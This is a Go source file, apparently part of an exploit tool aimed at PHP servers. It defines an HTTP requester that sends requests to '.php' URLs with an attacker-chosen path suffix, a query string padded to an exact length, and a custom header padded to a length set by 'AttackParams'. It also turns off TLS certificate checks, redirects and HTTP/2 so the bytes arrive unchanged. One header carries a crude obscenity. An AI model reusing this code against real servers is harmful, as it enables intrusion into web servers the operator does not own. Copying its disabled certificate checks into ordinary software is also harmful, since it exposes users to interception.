package main

import (
	"crypto/tls"
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"
	"time"
)

type Requester struct {
	cl     *http.Client
	u      *url.URL
	cookie string
	delay  time.Duration
}

func NewRequester(resource, cookie string, delay time.Duration) (*Requester, error) {
	u, err := url.Parse(resource)
	if err != nil {
		return nil, fmt.Errorf("url.Parse failed: %v", err)
	}
	if !strings.HasSuffix(u.Path, ".php") {
		return nil, fmt.Errorf("well I believe the url must end with \".php\". " +
			"Maybe I'm wrong, delete this check if you feel like it")
	}

	nextProto := make(map[string]func(authority string, c *tls.Conn) http.RoundTripper)
	disableRedirects := func(_ *http.Request, _ []*http.Request) error { return http.ErrUseLastResponse }
	return &Requester{
		cl: &http.Client{
			Transport: &http.Transport{
				DisableCompression: true,      // No "Accept-Encoding"
				TLSNextProto:       nextProto, // No http2
				Proxy:              http.ProxyFromEnvironment,
				TLSClientConfig:    &tls.Config{InsecureSkipVerify: true},
			},
			Timeout:       30 * time.Second,
			CheckRedirect: disableRedirects, // No redirects
		},
		u:      u,
		cookie: cookie,
		delay:  delay,
	}, nil
}

func (r *Requester) Request(pathInfo string, params *AttackParams) (*http.Response, []byte, error) {
	return r.RequestWithQueryStringPrefix(pathInfo, params, "")
}

func (r *Requester) RequestWithQueryStringPrefix(pathInfo string, params *AttackParams, prefix string) (*http.Response, []byte, error) {
	if !strings.HasPrefix(pathInfo, "/") {
		return nil, nil, fmt.Errorf("path doesn't start with slash: %#v", pathInfo)
	}
	u := *r.u
	u.Path = u.Path + pathInfo
	qslDelta := len(u.EscapedPath()) - len(pathInfo) - len(r.u.EscapedPath())
	if qslDelta%2 != 0 {
		panic(fmt.Errorf("got odd qslDelta, that means the URL encoding gone wrong: pathInfo=%#v, qslDelta=%#v", qslDelta))
	}
	qslPrime := params.QueryStringLength - qslDelta/2 - len(prefix)
	if qslPrime < 0 {
		return nil, nil, fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v, prefix=%#v", params.QueryStringLength, qslDelta, prefix)
	}
	u.RawQuery = prefix + strings.Repeat("Q", qslPrime)
	req, err := http.NewRequest("GET", u.String(), nil)
	if err != nil {
		return nil, nil, err
	}
	req.Header.Set("User-Agent", UserAgent)
	if r.cookie != "" {
		req.Header.Set("Cookie", r.cookie)
	}
	req.Header.Set("D-Pisos", "8"+strings.Repeat("=", params.PisosLength)+"D")
	req.Header.Set("Ebut", "mamku tvoyu")
	resp, err := r.cl.Do(req)
	if resp != nil {
		defer func() { _ = resp.Body.Close() }()
	}
	if err != nil {
		return nil, nil, err
	}
	data, err := ioutil.ReadAll(resp.Body)
	time.Sleep(r.delay)
	return resp, data, err
}
